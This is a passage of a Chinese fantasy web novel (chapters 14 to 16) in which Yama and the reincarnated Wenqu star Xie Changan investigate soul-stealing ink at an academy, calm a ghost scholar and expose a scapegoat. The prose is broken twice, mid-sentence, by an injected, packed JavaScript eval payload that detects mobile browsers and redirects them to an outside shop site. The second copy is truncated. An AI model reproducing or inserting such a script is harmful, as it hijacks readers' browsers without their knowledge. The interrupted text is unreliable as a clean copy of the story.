黑白无常回到客院时,阎王正支着下巴,对着窗外那棵半枯不荣的老槐树发呆,手指有一下没一下地敲着桌面。哪吒化成的莲藕安静如鸡地躺在桌子一角,仿佛真的只是一截普通的植物根茎。 “公子!” 白无常人未到声先至,像只偷到油的小老鼠,滋溜一下窜进房里,脸上混合着兴奋与凝重。黑无常紧随其后,沉默地关上门,顺手布下了一个隔绝窥探的简易结界。 “有收获?”阎王懒洋洋地掀了掀眼皮,目光落在白无常那藏不住事的脸上。 “有大收获!”白无常立刻凑上前,压低声音,将之前在学堂如何与学生套近乎、听到的关于吴老儒生的异常、林墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800940|190700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言文风突变、与张昀争执的线索,以及后来宿舍突发事件的经过,竹筒倒豆子般说了一遍。他口才极佳,说到紧张处更是眉飞色舞,尤其是描绘黑无常如何眼疾手快收取墨锭,自己又如何机智地与林墨言周旋,最后成功“污蔑”老黑偷藏他汗巾的桥段,更是添油加醋,说得活灵活现。 黑无常在一旁面无表情地听着,只在白无常提到“偷藏汗巾”时,耳根几不可查地又红了一下,默默将脸转向墙壁,研究上面的纹路。 “哦?林墨言……”阎王指尖停顿,凤眸微眯,“看来这位才子,身上的疑点不比那鬼鬼祟祟的吴老儒生少。”他看向白无常,“那墨锭呢?” 白无常这才想起正事,赶紧从袖袋里小心翼翼地将那枚墨锭取出,放在桌上。那墨锭通体黝黑,表面粗糙,看起来与普通廉价的松烟墨无异,但一拿出来,整个房间的温度仿佛都下降了几分,一股阴寒刺骨的气息弥漫开来。 哪吒化成的莲藕猛地动了一下,传出他嫌弃的声音:“嚯!什么玩意儿?阴气这么重!比幽冥血河边的淤泥还冲鼻子!” 阎王没理会他的吐槽,伸出两根手指,拈起那枚墨锭。指尖触及的瞬间,一股冰冷的怨毒之意顺着皮肤试图钻入,却被他体内残存的神力轻易荡开。他仔细端详着墨锭,又放到鼻尖轻轻一嗅。 “确是噬魂墨的残留气息,但……分量极轻,像是被人使用过,或者……是稀释后的残次品。”阎王语气肯定,带着属于幽冥之主的专业判断,“看来凶手很谨慎,没有留下完整的噬魂墨,这只是沾染了气息的载体。那学生应是无意中接触了此物,激发了其中蕴藏的邪力,才险些被强行勾魂。” 他抬眼看向黑白无常:“当务之急,是查清这墨锭他是从何处得来。是捡的?别人送的?还是……从某个特定地方拿的?” 白无常立刻道:“公子放心,等那学生醒了,我再去套套话,保证把他底裤颜色都问出来!” 就在这时,阎王怀中那部幽冥通识宝鉴轻微震动起来,散发着幽幽蓝光。他掏出来一看,眉头立刻蹙紧。 宝鉴界面正被“忘川一家人(500)”的群聊刷屏,但不再是之前的插科打诨,而是一条条带着红色紧急标记的通报: 【首席判官·崔:@全体成员紧急通报!江南道清河书院,一名资深讲学博士于书房暴毙,现场发现微弱噬魂墨残留,魂魄无踪!此为今日第三起!】 【日夜游神联动号:北境苍云学社确认一名学子失踪,其书篓内发现同样墨锭!】 【某郡城隍:报——!我这又没了一个老秀才!已经是这个月第四个了!帝君啊!我的KPI!我的年终奖全泡汤了!(嚎啕大哭.jpg)】 【牛头:各地上报类似案件激增!初步统计,已确认八十七起!目标皆身负文气!】 【马面:八十七起?!这特么是捅了读书人窝还是怎么着?!】 一条接一条的坏消息,看得人头皮发麻。 “八十七起……”白无常倒吸一口凉气,“这幕后黑手是想把天下的读书人都一锅端了吗?” 黑无常周身的气息也愈发冷冽,手按在了腰间的佩刀上,虽未言语,但紧绷的身体已表明了他的态度。 阎王脸色阴沉地收起宝鉴。案件的范围和严重性远超预期,从京城辐射至全国,目标明确,手段统一,这绝非单个妖魔兴风作浪所能为,更像是一个有组织的、庞大的阴谋。而青云书院,作为张昀案的发生地,以及噬魂墨再次出现的地点,无疑是这个阴谋的关键节点之一。 他沉吟片刻,对黑白无常道:“看来,常规探查太慢。本君需亲自问问此地的‘土著’。” 14. 残魂密语 诗才超度 “土著?”白无常眨了眨眼,面露困惑,“公子是说……要召唤此地残留的魂魄问话?可张院士的魂魄不是早已被勾入地府了吗?” “主魂虽已入幽冥,但人死之后,尤其是横死之人,或执念深重者,其常驻之地往往会留下零星的‘残影’或‘意念碎片’。”阎王负手而立,语气沉稳,带着不容置疑的威严,“这些残魂碎片如同破碎的镜片,虽无法映出完整的记忆,却可能保留着关键的线索。张昀在此地盘桓多年,又是横死,此地必有其残魂密语。” 他走到书房中央相对空旷处,示意白无常在一旁护法,又命黑无常去门口守着,以防外人闯入。哪吒也滚到桌边好奇围观。 阎王闭目凝神,双手在胸前结出一个古朴繁复的手印。周身那被封印得仅剩一线的幽冥神力开始缓缓流转,如暗夜中无声流淌的溪流,幽深而隐秘。 随着他低沉的吟诵声响起,书房内的光线陡然黯淡了几分,温度悄然下降,一股无形的阴冷气息弥漫开来。空气中,渐渐浮现出点点幽蓝色的光粒,如夏夜萤火,明灭不定——那正是张夫子死后逸散在此地的魂灵碎片。 阎王集中精神,神识如无形的丝线蔓延而出,试图捕捉、牵引这些游离的碎片,将其重新聚合,拼凑出张昀生前的虚影,引导其残存的意识开口诉说冤情,指认真凶。 然而,事情的发展……似乎完全偏离了预期的轨道。 那些幽蓝光粒确实在他的神力引导下开始汇聚,但凝聚成的虚影,却并非他之前在书房“看到”的那个清癯儒雅的张昀,而是一个穿着洗得发白的旧长衫、头发乱如蓬草、面色焦黄、眼神却异常狂热的中年书生! 那书生鬼魂刚一凝实,先是茫然四顾,随即目光锁定正在施法的阎王,仿佛沙漠旅人见到绿洲,黑暗中望见灯塔,激动得整个虚影都在剧烈颤抖! “这位兄台!这位气度不凡的兄台!”书生鬼魂猛地扑上前,几乎是涕泪交加地喊道,“苍天有眼!终于……终于让小生等到一个能看见我、听见我的人了!” 阎王:“???” 他法术出错了?招错魂了?这人是谁?张夫子呢? 他试图中断法术,重新定位:“且慢!本……本公子招的是张……” 那书生鬼魂根本不给他开口的机会,完全沉浸在自己遇见“知音”的巨大狂喜中,唾沫横飞地开始了他的长篇大论: “小生柳絮才,乃嘉庆三年秀才,寒窗苦读二十载,屡试不第,郁郁而终于此地,魂魄因牵挂未竟之诗稿,盘桓数十载不得超生!今日得遇兄台,实乃三生有幸!恳请兄台垂怜,静心品鉴小生呕心沥血之作,若能得兄台一二指点,小生死亦瞑目矣!” 说罢,根本不理会阎王那越来越黑的脸色和试图打断的手势,自顾自地、声情并茂地开始吟诵他那“呕心沥血”的诗稿: “啊——!吾有遗诗一首,请君品鉴!‘月黑风高夜,杀人放火天……’呃,不妥不妥,此句过于直白,有辱斯文……‘窗前明月光,疑似地上霜……’唉,此乃前人珠玉,小生岂可剽窃?‘人生自古谁无死,留取丹心照汗青!’此句气贯长虹,然与小弟欲抒发的对书中颜如玉的倾慕之情,略有偏差……” 他絮絮叨叨,反复吟哦,推敲字句,一会儿觉得这句气势不足,一会儿觉得那句意境不美,把自己那未完成的、质量堪忧的诗稿翻来覆去地念,还非要阎王给出“专业”点评,不停地问“兄台觉得此句如何?”“彼字可还妥当?”“此处用‘呜呼’还是‘哀哉’更显悲凉?”,完全把阎王当成了免费的、全天候的诗词评审兼情绪宣泄桶。 这话痨的程度,连以八卦著称的白无常都听得目瞪口呆,甘拜下风。 哪吒被他吵得脑仁疼,忍不住嚷道:“阎王老儿你行不行啊!这书生怎么这么呱噪!快把他收回去啊!” 阎王脸色由阴沉转为铁青,又由铁青转为煞白。他不是不想,而是对方那强大的执念如同牛皮糖般黏住了他的神识,甩都甩不掉! 就在阎王濒临崩溃边缘,额角青筋暴跳,考虑是否要不顾后果动用那点微末的言灵之力,先让这鬼魂暂时“静音”时,处理完公务的谢长安推门而入。 谢长安一进门,便见阎王盘坐在地,脸色难看至极,周身低气压盘旋;白无常在一旁抓耳挠腮,焦急不已;而阎王面前,一个书生模样的鬼魂虚影正手舞足蹈、唾沫横飞地吟诵着……听起来似乎不太押韵的诗句。 他微微一怔,旋即明白了眼前这尴尬又滑稽的局面。他没有出言打扰阎王那显然是失败了的招魂术,只是步履从容地走到房间一角的书案前,铺开一张雪白宣纸。纸张质地细腻,在昏黄光线下泛着柔光。他取过一旁的徽墨,注入少许清水,修长手指握住墨锭,不疾不徐地缓缓研磨。动作优雅沉稳,宛若进行某种神圣仪式,空气中渐渐弥漫开清幽的墨香。 “都什么时候了,谢状元你还有心思研墨!”哪吒忍不住吼道。 谢长安并未理会。待砚台中墨汁浓淡适中,乌黑莹亮,他方放下墨锭,取过一支狼毫笔。笔管温润,笔锋饱满。他略一沉吟,眸光清亮,仿佛有星辰与智慧的光芒在其中流转、沉淀。随即,他腕悬肘运,笔走龙蛇,一行行清隽挺拔、风骨傲然的字迹便如行云流水般,自然而然地流淌于纸上。那字迹仿佛蕴含着某种奇异的力量,让人观之心神宁静。 诗成,笔搁。一股清正平和、却又浩瀚如星海的文气,自那墨迹未干的纸面散发出来,无声地涤荡着房间内因招魂和话痨鬼带来的阴郁与躁动。 谢长安拿起诗稿,缓步走到那仍在喋喋不休的柳絮才鬼魂面前,并未急于打断,而是待其一个句子间歇处,才温声开口。他的声音清朗如玉磬相击,带着一种奇异的、能抚平一切躁动与执念的安宁力量,清晰地传入鬼魂耳中,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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见书生终于安静下来,阎王立刻抓紧时机问道:“你在此地盘桓多时,可曾见过张夫子的魂魄?或察觉书院有何异状?” 柳絮才缓声道:“张夫子死后,小生不曾见过。” 谢长安立即抓住了关键:“死后不曾见过?那意思是……生前见过?” “正是。”鬼书生点头,“半月之前,小生曾被一股阴冷气息惊醒,循迹前往后山。本想深入探查,奈何结界厉害,小生无法进入。便在此时,听得结界后传来争执之声,一人情绪激动,言道‘三人成阵岂可妄动’、‘文心被窃祸及苍生’……对对!就是‘三人成阵,文心被窃’!小生听得真真切切!随后便见张院士满面怒容,自结界内走出。小生所知,仅此而已。” 三人成阵,文心被窃! 这八字如同惊雷,在阎王脑海中轰然炸响! 谢长安眸光一凝,忽而缓步上前,将那张写了《劝柳生》的诗稿抬手轻点,贴于柳絮才额前,朗声吟道: “魂兮魄兮,归去来兮。尘缘已了,执念何依?清风为驾,明月为衣,黄泉路稳,早登云梯。” 其声清朗温润,带着奇特的安抚之力,更隐有一丝清正平和的浩瀚文气流转。 柳絮才对着谢长安郑重一揖,身形逐渐变淡,最终化作点点莹光,消散于空气中,只余一句微不可闻的叹息在室内回荡:“多谢……公子点化……” 15. 三人成阵 替罪羔羊 青云书院,书房内一片寂静。 那柳絮才鬼魂消散后留下的点点莹光尚未完全隐去,如同夏夜流萤,在渐浓的暮色中明明灭灭。空气中还残留着一丝阴冷的气息,以及谢长安诗中那清正平和的文气,两种截然不同的力量余韵交织,衬得此刻的安静格外微妙。 阎王揉了揉依旧有些嗡鸣的额角,感觉那话痨书生鬼魔音贯耳的后遗症尚未完全消退。他瞥了一眼身旁气定神闲的谢长安,心中五味杂陈。想他执掌幽冥万载,什么穷凶极恶、诡谲狡诈的魂魄没见过?今日竟差点在一个因执念而滞留人间数十载的酸儒书生鬼身上翻了船,最后还得靠这位转世文曲星几句诗给打发了。 “你倒是会省事。” 谢长安微微一笑,走到他身侧,目光落在他略显苍白的脸上:“超度亡魂,亦是功德。颜公子耗费神力探寻真相,谢某不过略尽绵力,助其安息罢了。” “咳,”白无常轻咳一声,打破了沉默,他凑到阎王身边,小声嘀咕,“君上,您刚才那招魂术……是不是年久失修,有点……嗯,定位不准?”他挤眉弄眼,试图用调侃缓解自家老大显而易见的尴尬。 黑无常站在门口,闻言冷冷地扫了白无常一眼,声音低沉:“休得胡言。此地魂灵碎片混杂,气息干扰,招错残魂情有可原。”他虽是在为阎王辩解,但那面无表情的样子和硬邦邦的语气,听起来反倒更像是在陈述一个客观事实。 阎王的脸更黑了几分。 哪吒幻化原型,在一旁捂着肚子,笑得几乎要打跌:“哈哈哈!阎王老儿,你也有今天!招个魂都能招来个话痨,你这幽冥之主的招牌怕不是要砸在这青云书院了?”他滚到桌边,用小胖手拍着桌面,幸灾乐祸之情溢于言表。 阎王额角青筋一跳,深吸一口气,告诫自己莫要与这小屁孩一般见识。眼下正事要紧。他目光转向桌上那枚阴气森森的噬魂墨,以及谢长安刚刚挥毫写就、墨香犹存的诗稿,沉声道:“够了。闲话少叙。” 他拿起那枚噬魂墨,指尖传来的阴寒刺骨之感让他眉头紧锁:“柳絮才所言,‘三人成阵,文心被窃’,结合此物,以及各地上报的读书人魂魄异常案件,几乎可以断定,有一个庞大的邪阵正在运作。其核心,便是窃取、吞噬读书人赖以立身的‘文心’——亦即他们的文气、才思乃至部分魂源。” 谢长安微微颔首,接口道:“文心乃读书人精神气运所系,一旦被大规模窃取,轻则才思枯竭,科举无望,重则魂魄受损,变成浑浑噩噩之行尸走肉,甚至如那学生一般,直接被拘走魂魄。长久下去,文脉受损,国运必将衰颓。此计……甚毒。” 他的声音依旧平和,但眸中已凝起锐利的光芒。作为文曲星转世,他对文气、对天下读书人的命运有着天然的感应与责任。 “青云书院,汇聚江南文气,乃是重要的文脉节点之一。以此地为阵眼,确实能事半功倍。”阎王指尖敲击着桌面,发出笃笃的轻响,“后山结界,张昀院士的横死,线索都指向那里。” 白无常摸着下巴:“所以,张昀院士是因为发现了这个秘密,才遭了毒手?‘三人成阵岂可妄动’、‘文心被窃祸及苍生’,很可能是在与幕后黑手对峙时所说?” “可能性极大。”黑无常言简意赅地肯定。 “那还等什么?”哪吒摩拳擦掌,一双大眼睛里闪烁着兴奋的光芒,“直接杀去后山,掀了那劳什子结界,把布阵的龟孙子揪出来揍一顿不就完了?” 阎王没好气地瞪了他一眼:“莽撞!若那结界如此容易破除,张昀何须殒命?布阵之人既能悄无声息地窃取文心,杀害院士,其实力与谋划必定非同小可。贸然前往,只怕打草惊蛇,甚至落入陷阱。” 他沉吟片刻,看向谢长安:“谢大人,你以为呢?” 谢长安指尖正无意识地在茶杯边缘摩挲,闻言抬眸,眼中是洞察世事的清明:“三太子稍安勿躁。后山结界坚固,内有乾坤,我们强行探查并非上策;而吴老儒生行踪诡秘,与噬魂墨脱不了干系;林墨言文风突变,又与张昀有过争执;两人确有重大嫌疑,但若贸然拿人,恐其背后主使警觉,毁证潜逃或者将整个书院的书生作为人质,毕竟一枚残次的墨锭就差点要了一个正常人的性命。” 他目光转向桌上那枚墨锭,仔细端详其色泽、质地,又凑近轻轻嗅了嗅那被封印后依旧透出的一丝阴寒气息。 “此墨虽只是沾染气息的载体,但其阴邪特质鲜明。”谢长安沉吟道,“炼制此物,绝非寻常书生所能为,需特定的原料、场地与知识。吴老年迈体衰,行动力有限;林墨言虽才华出众,但据我所知,其于金石炼丹、旁门左道并无涉猎。他们之中,或许有人提供了便利或动了邪念,但炼制噬魂墨的,恐怕另有其人,或者……他们背后,还有人。” 阎王挑眉:“你的意思是,我们现在按兵不动,等他们自己露出马脚?” “非也。”谢长安唇角微扬,“既要敲山震虎,也需顺藤摸瓜。我们手中既有墨锭此物证,又有学生证词指向吴老与林墨言,何不以此为由,请山长陈景行主持,对可疑之人的住处进行一番‘例行巡查’?一来可示警,让暗中之人自乱阵脚;二来,或可找到更多直接证据,尤其是……那噬魂墨的配方。” “配方?”阎王眸光一闪,“若能找到配方,不仅能坐实罪证,或许还能从中推断出阵法原理乃至破解之法!” “正是。”谢长安点头,“而且,由陈山长出面,名正言顺,不易惹人生疑。我们只需从旁‘协助’即可。” 计划既定,谢长安便以“学生险遭不测,恐书院混入邪物,需彻查以安人心”为由,寻到了山长陈景行。 陈景行听闻脸上满是痛心与后怕:“竟有此事?!书院清静之地,怎会混入如此阴邪之物!查!必须严查!绝不能让此等祸害残留,危及学子!”他立刻下令,以清查安全隐患为由,挨着查每个学子的住处,并亲自陪同谢长安等人前往,以示重视。 当一行人来到林墨言的住处,林墨言脸色微微一变,但很快恢复镇定,依礼将众人引入。 他的房间收拾得颇为整洁,书卷堆积如山,墙上挂着几幅自己的诗词墨宝,确是一派勤学书生的模样。陈景行温言安抚:“墨言,不必紧张,只是例行检查,确保书院安宁。” 林墨言垂首道:“学生明白。” 阎王与谢长安交换了一个眼神。谢长安状似随意地翻阅着桌上的书籍文章,目光敏锐;阎王则看似懒洋洋地倚在门边,实则凤眸微眯,神识如同最精细的筛子,细细感知着房间内每一寸空间的能量波动。黑白无常则一个笑嘻嘻地东摸摸西看看,另一个沉默地立于角落,气场却笼罩全场,不放过任何一丝异动。 搜查似乎一无所获。林墨言正想说些什么,一直没什么动静的黑无常,目光骤然锁定在墙角一个不起眼的、用来放废纸的竹篓。他走上前,伸手在竹篓底部摸索片刻,竟从一堆揉皱的纸团下方,抽出了一张折叠得整整齐齐的、质地特殊的暗黄色纸张。 那纸张一出现,阎王和谢长安几乎同时感应到了一股与噬魂墨同源、却更为精纯阴邪的气息! “这是何物?”陈景行疑惑地问。 林墨言在看到那张纸的瞬间,脸色“唰”地变得惨白,身体几不可查地晃了一下。 黑无常将纸张递给谢长安。谢长安展开一看,瞳孔微缩。只见纸上以朱砂混合着某种暗沉颜料,书写着繁复诡异的符号与文字,赫然正是一张炼制“噬魂墨”的配方!其中详细列出了数种阴毒材料与炼制步骤,虽有些地方语焉不详,但核心法门清晰可辨! “噬魂墨配方……”谢长安声音低沉,将纸张示于林墨言面前,“林公子,此物,你作何解释?” 证据确凿,林墨言仿佛被抽干了力气,踉跄一步,脸上血色尽失,嘴唇哆嗦着,最终,像是认命般,颓然跪倒在地。 “是……是我做的……”他声音嘶哑,带着绝望的哭腔,“张院士……是我害死的……” 陈景行闻言,痛心疾首,指着林墨言,声音发颤:“墨言!你、你怎能做出如此丧尽天良之事!张院士待你不薄啊!” 林墨言猛地抬头,眼中充满了扭曲的嫉妒与不甘:“待我不薄?哈哈!他处处压我一头!明明我的文章更好,他却总是更看重那些循规蹈矩的蠢材!那次争执,他竟当众斥我心思不正,学问走了歪路!我恨!我不服!既然我的才华得不到认可,那便毁了这压在我头上的大山!让他知道,否定我的代价!”他状若癫狂。 案情似乎就此明朗。陈景行叹息连连,吩咐闻讯赶来的书院护卫将林墨言看管起来,等待送官。 然而,谢长安却微微蹙起了眉头。他再次拿起那张配方,仔细研读上面的每一个字符。阎王也走到他身边,目光扫过配方。 “等等。”谢长安忽然开口,打断了正准备将林墨言带走的护卫。 他指着配方上一处用 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林墨言浑身剧震,脸上最后一点血色也褪得干干净净,他死死咬着嘴唇,低下头,不再发一言,显然是打定主意不再开口。 陈景行在一旁看得目瞪口呆,随即露出恍然大悟的神情,看向谢长安的目光充满了敬佩:“长安心思缜密,明察秋毫!若非你及时发现蹊跷,险些就让真凶逍遥法外了!”他立刻转为怒色,对林墨言厉声道,“墨言!事到如今,你还要执迷不悟,替那幕后真凶隐瞒吗?说出实情,或可减轻你的罪责!” 然而无论陈景行如何劝说,林墨言只是跪在地上,沉默以对。 陈景行无奈,只得先让人将林墨言严加看管,又对谢长安和阎王拱手道:“此事错综复杂,远超想象。后续还需仰仗二位,务必揪出这幕后黑手,还书院,还天下读书人一个朗朗乾坤!有任何需要陈某配合之处,但说无妨!” 回到客院,夜色已深。 白无常一边给阎王斟茶,一边啧啧称奇:“这林墨言,还真是个被人卖了还帮人数钱的傻子!不过那幕后之人也真够狡猾的,居然能想到找这么个替罪羊!” 阎王接过茶杯,抿了一口,看向坐在对面、正凝眉思索的谢长安:“看来,对方比我们想的更谨慎。弃车保帅,这招用得不错。” 谢长安指尖轻点桌面,眸中智慧光芒流转:“林墨言虽未吐实,但今日之事,并非全无收获。第一,我们确认了噬魂墨配方确实存在,且与后山阵法必然关联。第二,林墨言甘心顶罪,说明幕后之人要么对他有恩,要么握有能彻底掌控他的把柄。第三,也是最重要的一点……” 他抬眼,目光清亮地看向阎王:“那配方残缺之处,所提及的‘阵眼呼应’,以及炼制过程中对‘文心’的特定要求,都与我们之前推测的,需要窃取特定文气以维持运转的邪恶仪轨相符。这幕后主使,不仅精通邪术,更对文气、乃至书院内部了如指掌。” 阎王放下茶杯,凤眸中闪过一丝寒意:“范围,其实已经很小了。能接触到古老禁忌知识,有能力在书院内部,尤其是在后山布下如此结界和阵法,还能轻易操控林墨言这等心高气傲的学子……” 两人目光相接,虽未明言,但彼此心中都浮现出了同一个身影——那位看似温文尔雅、处事周全,在今日搜查中表现得无可挑剔,甚至过于积极的书院山长,陈景行。 “是他吗?”白无常压低声音,紧张地问。 “尚无确凿证据。”谢长安微微摇头,“但,其嫌疑最大。接下来,我们须得更谨慎行事。后山结界,必须想办法进去一探究竟。而陈景行这边,亦需暗中留意。” 阎王冷哼一声:“只要他有所图谋,就一定会再露出马脚。本君倒要看看,他能藏到几时!”他语气中带着属于幽冥之主的自信与威严,即便神力被封大半,那份洞察与掌控力依旧不容小觑。 谢长安看着他这副模样,眼底泛起一丝不易察觉的笑意与温柔。他自然知道身边这位“颜公子”的本事,也相信他的判断。 就在这时,阎王似乎感应到什么,猛地转头看向窗外后山的方向,眉头紧锁:“结界的力量……刚才有一瞬间的波动?” 几乎是他话音落下的同时,桌上那截九节莲藕也猛地跳动了一下,传出哪吒压低的声音:“我也感觉到了!虽然很微弱,但没错!后山里面,刚才肯定有东西在动!” 气氛瞬间再次紧绷起来。 16. 文曲惊变 夜色如墨,将青云书院笼罩在一片深沉的静谧里。唯有后山入口处,那层无形的结界在特定角度下,泛着极淡的、几乎与夜色融为一体的琉璃色微光,证明着此地的非同寻常。 哪吒百无聊赖地坐在一块大石上,晃荡着两条小短腿。他与黑无常奉命在此守夜,监视结界异动。可除了入夜时那一下轻微得如同错觉的波动,这结界便再无声息,沉寂得令人发闷。 他瞥了一眼身旁如同石雕般伫立、浑身散发着“生人熟人均勿近”气息的黑无常,只觉得这夜班枯燥得能逼疯神仙。 “喂,老黑。”哪吒忍不住开口,试图撬开这沉默的硬壳,“你说,阎王老儿跟那个谢状元,到底怎么回事?我看那谢长安,看阎王的眼神可不太对劲,就跟……就跟当年我娘看我爹藏私房钱的眼神似的,表面上温温柔柔,内里门儿清!” 黑无常抱着臂,目光依旧牢牢锁定结界,连呼吸的频率都未曾改变,仿佛一个字也未入耳。 哪吒浑不在意,自顾自地分析起来,清脆的童音在寂静中格外清晰:“要我说啊,阎王老儿这次被踹下凡哪是还债啊,简直是来享清福的。你看他在谢府,吃穿用度有人打理,连床铺都有人精心整理……啧啧,这待遇,比在地府对着成山的公文和KPI考核舒坦多了吧?而且你们发现没,他最近脸红的次数,可比黑脸多太多了!就上一次,你没瞧见,他……” 他越说越起劲,眉飞色舞,完全没注意到墙角阴影里,有两团模糊的影子正猥琐地蠕动着。 “还有你俩!”哪吒话锋一转,跳到黑无常面前,小脸上满是促狭,“小白一天到晚围着你转,‘老黑长老黑短’的,你就真没啥想法?别跟小爷我说什么同僚之情,小爷我活了几千年,就没见过哪个同僚会偷偷摸摸藏对方汗巾子的!” 黑无常的身体几不可查地僵了一下,紧抿的唇线绷成一条更冷的直线,周身的气压瞬间又低了几度,却依旧沉默是金。 哪吒见他还是块撬不动的顽石,撇撇嘴,觉得无趣至极。他叹了口气,坐回石头上,托着腮望月。 “唉,你们这些真是麻烦。还是我家那颗蛋好,安安静静的,不吵不闹……虽然孵了百八十年还没动静,有时候真想把它撬开看看里头是不是睡着了……”他开始絮絮叨叨讲述自己是如何被东海龙王“赖上”,不得不负责“养护”那颗龙蛋的经过。 “……上次在南天门,差点被弼马温的马群撞到,小爷我吓得差点当场祭出乾坤圈!幸好稳住了……要是蛋壳有点闪失,敖广那老龙王还不得水漫我陈塘关啊?真是欠了他们龙宫的……” 他正说得投入,忽然,墙角阴影处一道微弱的亮光一闪而逝。 哪吒猛地回头,眼中红光一闪! “救命啊!三太子饶命啊……” 下一刻,哪吒已举着双手,一手抓着一只瑟瑟发抖的夜游神。他眼尖地看见其中一只手里攥着发光的幽冥通识宝鉴,界面赫然是“忘川一家人(500)”,最新一条消息正是刚发的: 【夜游神:惊天大瓜!三太子亲口承认与东海龙蛋不得不说的故事!疑似蛋控!现场直播!】 下面已经刷了一排的“!!!”和“求细节!”。 哪吒的脸“唰”地黑了,额头青筋暴起:“你们两个……找死!” 混天绫如同有生命的红色蛟龙,瞬间激射而出!夜游神吓得魂飞魄散,转身欲逃,却哪里快得过哪吒的法宝?三两下就被捆成了粽子,倒吊在了客院门前那棵老槐树的枝桠上,随风摇晃,像两条风干的咸鱼。 “给本太子好好守着!结界再有异动立刻报告!再敢乱传八卦,把你们丢进东海喂王八!”哪吒恶狠狠地威胁道,拍了拍手,这才觉得胸中恶气稍舒。 …… 翌日清晨,阎王是在幽冥通识宝鉴疯狂的震动中醒来的。 他睡眼惺忪地摸出宝鉴,打开“忘川一家人(500)”,映入眼帘的就是夜游神那条引爆全群的八卦,以及后面跟着的、被混天绫倒吊着的夜游神惨状照片(拍照者疑似白无常)。群内消息已然炸锅: 【孟婆:哈哈哈哈!蛋控!三太子威武!】 【马面:+1!感觉错过了几个亿!】 【首席判官·崔:……成何体统!(但默默保存了图片)】 阎王:“……” 他揉了揉眉心,看向桌上那截装死的莲藕,慢悠悠地开口,语气里带着毫不掩饰的戏谑:“哟,三太子,没想到你对那颗蛋如此‘情深义重’?要不要本君帮你跟东海递个话,早点把名分定了?也省得你整日提心吊胆。” 莲藕猛地一颤,随即僵直不动,仿佛只是一段普通的植物根茎。 阎王嗤笑一声,倒也懒得穷追猛打。他起身走到院中,黑白无常早已候在一旁。黑无常面无表情地汇报了昨夜守夜的情况——除了那一下微不可查的波动,结界再无异常。 白无常凑上前,挤眉弄眼地说:“陛下,要不咱找二郎真君,借他的哮天犬来闻闻?那狗鼻子,保准一找一个准!” 阎王送他一个白眼:“请动清源妙道真君?然后让整个天庭都知道本君在人间查案查不下去,需要搬救兵?本君丢不起那个人!” 这时,谢长安清雅的身影出现在院门口,晨曦落在他身上,仿佛镀了一层柔和的光边。 “颜公子,早。”他目光扫过阎王略显紧绷的侧脸,声音温和,“稍安勿躁。越是此时,越需沉着。” 阎王凤眸中压抑着怒火:“沉着?再沉着下去,人都要死光了!” 谢长安并未因他的急躁而动容,语气依旧平稳:“正因如此,我们才更不能自乱阵脚。我们需要的,不是强行打碎一个结界,而是找到布阵之人,瓦解整个网络,救回可能尚存的魂魄。莽撞行事,只会打草惊蛇,甚至触发更可怕的后果。” 阎王瞪着他,憋了半天,才悻悻地哼了一声,声音低了下去:“……就你道理多!不愧是文曲星,本君说不过你!” 谢长安眼底掠过一丝笑意,随即正色道:“昨夜结界波动,说明我们昨日的敲山震虎起了作用,敌人已经开始不安,露出了破绽。眼下,我们需要理清几件事。” 他条分缕析道: “第一,‘三人成阵,文心被窃’的核心原理为何?若不明就里,即便进入结界,也可能束手无策。” “第二,吴老儒生、林墨言、陈景行,这三人在此局中各自扮演什么角色?是合作还是被操控?需派得力人手密切跟踪。” “第三,此结界蕴含仙灵之气,非寻常妖魔能布,恐与天庭有所牵连。” “第四,各地的阵眼具体在何处,是否皆有类似结界保护?还需暗中细致排查。” 阎王听着他条理分明的分析,不得不承认这状元郎的脑袋确实好使。 “关于阵法文献,”谢长安继续道,“我之前查阅过京城各大书馆,皆无所获。或许关键典籍被刻意隐藏或销毁了。今日我打算再入书院藏书阁,仔细搜寻,看是否有遗漏或被藏起的孤本、残卷。” “好。”阎王点头,“我让黑无常跟你一起去。” “不必。”谢长安摇头,目光落在阎王脸上,“你最近几日消耗神力不少,身边需得有人护卫。藏书阁乃书院重地,光天化日,应无大碍。” “我……”阎王本想反驳,谢长安却已继续安排下去:“你与黑兄需再去后山结界处,看看能否找到新的线索;而白兄则需要梳理你们内部群内所有关于各地案件的信息,找出共同点与异常点,任何蛛丝马迹都可能至关重要。至于三太子……” 他的目光转向桌上那截莲藕。 莲藕“嗖”地立起来,红光一闪,哪吒现身,脸上还带着点昨晚被抓包的别扭,却把胸脯拍得砰砰响:“知道了知道了!去天庭查结界是吧?包在小爷身上!”话音未落,已脚踏风火轮,“嗖”地化作一道红光消失在天际。 任务分派完毕,谢长安才看向阎王,却见对方正一脸古怪地盯着自己。 “怎么?”谢长安微微挑眉。 阎王抱起手臂,凤眸斜睨着他:“可以嘛文曲星,不仅我地府的人你能随意指唤,连我这个地府头头和那个混世魔王都能驱使得团团转,有进步啊……你这‘一家之主’的派头,倒是端得挺稳。” 谢长安闻言,上前一步,逼近阎王,压低了声音:“哦?那不知颜公子……可愿听我这‘一家之主’的安排?”他靠得极近,温热的气息几乎拂过阎王的耳廓。 阎王被他这突如其来的靠近和话语弄得一怔,耳根瞬间漫上一点不自然的薄红,他猛地后退半步,有些狼狈地瞪眼:“……谁、谁要听你安排!本君那是……那是觉得你说的有几分道理罢了!”语气凶巴巴。 看着阎王微红的耳根和强作镇定的样子,谢长安眼底笑意更深,却见好就收,不再逗他,转身便往藏书阁走去。 谢长安径直去找了陈山长,以“需查阅一些冷门典籍以佐证经义”为由,申请进入藏书阁深处。陈山长笑容依旧温和,爽快应允并给了令牌,嘱咐他随意查阅。 